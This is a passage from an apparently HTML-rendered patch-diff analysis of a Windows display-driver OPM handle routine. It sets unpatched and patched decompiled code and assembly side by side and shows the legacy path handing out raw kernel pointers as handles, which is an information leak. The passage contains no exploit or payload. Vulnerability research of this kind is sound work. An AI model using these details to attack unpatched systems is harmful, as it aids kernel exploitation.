&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC01E050C&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// error&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OpmValidateAdapterHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// flag OFF: pointer-membership&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC01E050C&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                           &lt;/span&gt;&lt;span class="c1"&gt;// not a live member -&amp;gt; error&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                                   &lt;/span&gt;&lt;span class="c1"&gt;// validated live pointer&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// return +0x10 field&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flink&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                               &lt;/span&gt;&lt;span class="c1"&gt;// link integrity check&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;blink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flink&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;blink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// safe unlink of a validated node&lt;/span&gt;
&lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED sub_1C0174054 ---&lt;/span&gt;
&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindOpmAdapterMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// sub_1c00d6190, a2 is a 64-bit ID&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* same integrity-checked unlink */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* assertion + error */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 1: Handle Creation (&lt;code&gt;ADAPTER_DISPLAY::OpmCreateHandle&lt;/code&gt;, &lt;code&gt;sub_1C0175174&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED sub_1C0175174 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_2161340729__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// legacy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x130&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// OPM handle = RAW KERNEL POINTER (info leak)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// new&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x140&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindOpmAdapterMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// stamp +0x18 ID&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// OPM handle = opaque ID&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: Membership Validation vs. ID Lookup&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;ADAPTER_DISPLAY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;OpmValidateAdapterHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c0175044&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;candidate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legacy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c017509a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x130&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x130&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750a1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750a4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wrapped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750a7&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x1c01750c1&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750a9&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exact&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NODE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;POINTER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;against&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;member&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750ac&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c01750bc&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;advance&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750ae&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;genuine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750bc&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750bf&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c01750a4&lt;/span&gt;
&lt;span class="mh"&gt;0x1c01750c1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;member&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindOpmAdapterMapping&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1c00d7190&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1c00d6190&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addresses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00d6190&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;candidate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;
